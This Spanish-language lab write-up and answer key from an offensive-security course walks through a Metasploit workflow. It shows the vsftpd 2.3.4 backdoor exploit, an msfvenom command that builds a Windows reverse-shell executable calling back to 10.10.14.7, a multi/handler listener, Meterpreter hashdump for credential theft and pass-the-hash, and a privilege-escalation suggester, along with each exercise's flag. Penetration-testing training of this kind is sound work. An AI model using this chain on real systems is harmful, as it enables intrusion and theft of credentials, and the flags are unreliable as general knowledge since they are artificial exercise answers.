Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 17SOLO SOLUCIÓN

Writeup — Flujo de Metasploit

← Volver al capítulo 17

Atención: contiene las 8 respuestas. Inténtalo primero por tu cuenta.
Sobre las salidas. La identificación de cada paso se verifica en el laboratorio. Los bloques de msf6 > son ilustrativos: muestran el flujo real que ejecutarías con Metasploit instalado sobre un objetivo vulnerable (p. ej. Metasploitable). Para reproducirlo: sudo apt install metasploit-framework.

Escenario 1 — Encontrar el módulo

★

kali@lab
$ msf6 > search vsftpd
exploit/unix/ftp/vsftpd_234_backdoor  ...  VSFTPD v2.3.4 Backdoor Command Execution

Respuesta: exploit/unix/ftp/vsftpd_234_backdoor.

Flag: GO{search_encuentra_el_modulo}

Escenario 2 — Ver las opciones

★

Tras use del módulo, se listan los parámetros a rellenar:

kali@lab
$ msf6 exploit(...) > show options
RHOSTS  (required)  ...
RPORT   21

Respuesta: show options.

Flag: GO{show_options_revela_lo_necesario}

Escenario 3 — Configurar el objetivo

★

kali@lab
$ msf6 exploit(...) > set RHOSTS 10.10.0.50
RHOSTS => 10.10.0.50

Respuesta: set RHOSTS 10.10.0.50.

Flag: GO{set_configura_el_objetivo}

Escenario 4 — Elegir el payload

★★

Objetivo Linux 64 bits, Meterpreter por conexión inversa:

kali@lab
$ msf6 > set payload linux/x64/meterpreter/reverse_tcp

Respuesta: linux/x64/meterpreter/reverse_tcp. (Las barras indican payload staged.)

Flag: GO{el_payload_correcto_para_el_objetivo}

Escenario 5 — Fabricar el artefacto (msfvenom)

★★

kali@lab
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f exe -o shell.exe

Respuesta: el comando msfvenom anterior (payload Windows, LHOST/LPORT y -f exe).

Flag: GO{msfvenom_fabrica_el_artefacto}

Escenario 6 — Recibir la conexión

★★

kali@lab
$ msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.7 ; set LPORT 4444 ; exploit -j

Respuesta: use exploit/multi/handler (con el mismo payload/LHOST/LPORT que el artefacto).

Flag: GO{multi_handler_recibe_la_shell}

Escenario 7 — Post-explotación: hashes

★★

kali@lab
$ meterpreter > hashdump
Administrator:500:aad3b...:31d6c...:::\n...

Respuesta: hashdump. Esos hashes se crackean offline (módulo 12) o se usan en pass-the-hash.

Flag: GO{meterpreter_hashdump_saca_los_hashes}

Escenario 8 — Sugerir escaladas

★★★

kali@lab
$ msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1 ; run
[+] El objetivo parece vulnerable a: ...

Respuesta: use post/multi/recon/local_exploit_suggester.

Flag: GO{local_exploit_suggester_para_escalar}

El flujo completo, de una pieza

Encadenado, el trabajo típico con Metasploit contra un objetivo vulnerable es:

kali@lab
$ search   ->  use   ->  show options  ->  set RHOSTS/LHOST
set payload   ->  check  ->  exploit
sessions -i 1  ->  (meterpreter) sysinfo / getuid / hashdump
use post/multi/recon/local_exploit_suggester  ->  set SESSION 1  ->  run

Y cuando entregas tú el artefacto en vez de explotar un servicio: msfvenom genera el fichero, multi/handler recibe la sesión con el mismo payload.

Resumen

#PasoRespuesta
1Buscar móduloexploit/unix/ftp/vsftpd_234_backdoor
2Ver opcionesshow options
3Configurar objetivoset RHOSTS ...
4Payloadlinux/x64/meterpreter/reverse_tcp
5msfvenommsfvenom -p windows/... -f exe
6Handleruse exploit/multi/handler
7Meterpreterhashdump
8Postlocal_exploit_suggester